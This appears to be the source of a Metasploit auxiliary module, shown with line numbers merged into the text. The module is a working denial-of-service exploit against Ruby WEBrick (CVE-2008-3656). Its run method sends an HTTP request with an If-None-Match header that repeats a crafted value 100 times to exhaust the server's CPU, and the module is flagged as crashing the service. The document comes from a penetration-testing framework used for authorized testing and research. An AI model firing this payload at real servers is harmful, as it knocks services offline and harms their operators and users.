Path: blob/master/modules/auxiliary/dos/http/webrick_regex.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Ruby WEBrick::HTTP::DefaultFileHandler DoS',14'Description' => %q{15The WEBrick::HTTP::DefaultFileHandler in WEBrick in16Ruby 1.8.5 and earlier, 1.8.6 to 1.8.6-p286, 1.8.717to 1.8.7-p71, and 1.9 to r18423 allows for a DoS18(CPU consumption) via a crafted HTTP request.19},20'Author' => 'kris katterjohn',21'License' => MSF_LICENSE,22'References' => [23[ 'BID', '30644'],24[ 'CVE', '2008-3656'],25[ 'OSVDB', '47471' ],26[ 'URL', 'http://www.ruby-lang.org/en/news/2008/08/08/multiple-vulnerabilities-in-ruby/']27],28'DisclosureDate' => '2008-08-08',29'Notes' => {30'Stability' => [CRASH_SERVICE_DOWN],31'SideEffects' => [],32'Reliability' => []33}34)35)3637register_options([38OptString.new('URI', [ true, 'URI to request', '/' ])39])40end4142def run43o = {44'uri' => normalize_uri(datastore['URI']),45'headers' => {46'If-None-Match' => %q{foo=""} + %q{bar="baz" } * 10047}48}4950c = connect(o)51c.send_request(c.request_raw(o))5253print_status("Request sent to #{rhost}:#{rport}")54rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout55print_status("Couldn't connect to #{rhost}:#{rport}")56rescue ::Timeout::Error, ::Errno::EPIPE => e57vprint_error(e.message)58end59end606162